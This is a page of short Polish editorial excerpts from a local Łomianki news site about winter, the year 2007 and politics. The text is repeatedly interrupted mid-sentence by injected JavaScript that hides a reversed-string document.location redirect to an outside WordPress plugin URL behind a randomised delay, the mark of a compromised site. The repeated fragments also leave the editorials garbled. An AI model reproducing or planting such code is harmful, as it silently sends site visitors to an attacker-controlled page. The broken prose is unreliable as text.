Narzekaliśmy na brak zimy i perspektywę ferii szkolnych bez śniegu, bo faktycznie 10 stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topni ciepła w połowie stycznia było trochę dziwne. A teraz, gdy trochę posypało i lekki mróz przyszczypał, na łomiankowskie służby miejskie sypią się gromy, że śnieg na ulicach i ślisko… Marna pociecha, że tak jest co roku i nie tylko w Łomiankach, a zaskakiwanie drogowców przez zimę wydaje się być w skali całego kraju tradycją nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do przezwyciężenia. Mamy większe problemy.
Kategoria: Od redakcji
Święta minęły, a zimy jak nie było, tak nie ma. Ale mamy nowy 2007 rok! Składając sobie życzenia noworoczne, zastanawialiśmy się, jaki on będzie? No właśnie – jaki? Lepszy czy gorszy? A może taki sam? Jakie nam niespodzianki przygotują politycy? Ostatnie miesiące pokazały, że zaskakiwać potrafią znacznie lepiej niż, na przykład, tworzyć toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobre i jasne przepisy prawa…
Listoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topad szykuje…
Dawno już nie mieliśmy tak pięknego początku jesieni. Temperatury prawie letnie, a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego dużo słońca i zadziwiająco mało deszczu. Może w ten sposób pan Bóg wynagradza nam konieczność oglądania tragifarsy w wykonaniu naszej tak zwanej klasy politycznej?